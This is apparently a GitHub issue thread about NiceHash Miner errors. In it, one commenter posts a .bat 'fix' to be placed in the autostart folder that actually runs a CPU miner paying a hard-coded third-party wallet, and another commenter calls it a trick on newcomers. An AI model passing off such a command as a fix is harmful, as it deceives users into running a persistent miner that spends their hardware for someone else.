Why is this happening?

My hardware is a AMD FX-6300 Six-Core Processor. I'm not using my GPU cause it doesn't have fans. My Windows version is 1709. The OS-build is 16299.125. The NiceHash Miner Legacy version is 1.8.1.5. Same issue with with 1.8.1.3 and NiceHash Miner 2.

Simply make a .bat file with exact this text Only change the information about the NiceHash folder and put it into your autostart folder!

For Cryptonight/Monero

setx GPU_FORCE_64BIT_PTR 0 setx GPU_MAX_HEAP_SIZE 100
setx GPU_USE_SYNC_OBJECTS 1
setx GPU_SINGLE_ALLOC_PERCENT 100
setx GPU_MAX_ALLOC_PERCENT 100
\xmr-stak-cpu\xmr-stak-cpu.exe -xpool stratum+ssl://etn-eu2.nanopool.org:13433 -xwal etnjx5yvXLheSRw7Ed5yqbh3RxrPQAbvsimVoUEkzizoNEajuVBTbCdTDxgWE8vdkV9gEi78gFweWJJXjvUjuurf646whtvunT.NiceHashBitch -xpsw x -allpools 1 -nofee 1 -t 4

Works 100% you´ll have to wait for some hours till you see first results but it´s worth it

Do not forgot to change the wallet address otherwise you will just mine for someone else. ;)

[aashwinGaur]

What should be the .bat file name ? and where does the wallet address start from .After -xwal??

Real funny guy here trying to trick n00bs to mine for him. Exit stage left, Github isn't for trolls!

BTW, further testing same error on my end, seems to be issue with USA Server. I switched to EU and it runs just fine... Is there an issue with the USA Cryptonight server?

[bigbob1]

Thanks. Never occurred to me to switch servers when one went down. Was under the assumption all nicehash servers were down.

Issue related to old nhm version/build. Please use latest version and open a new issue for bugs and/or features.
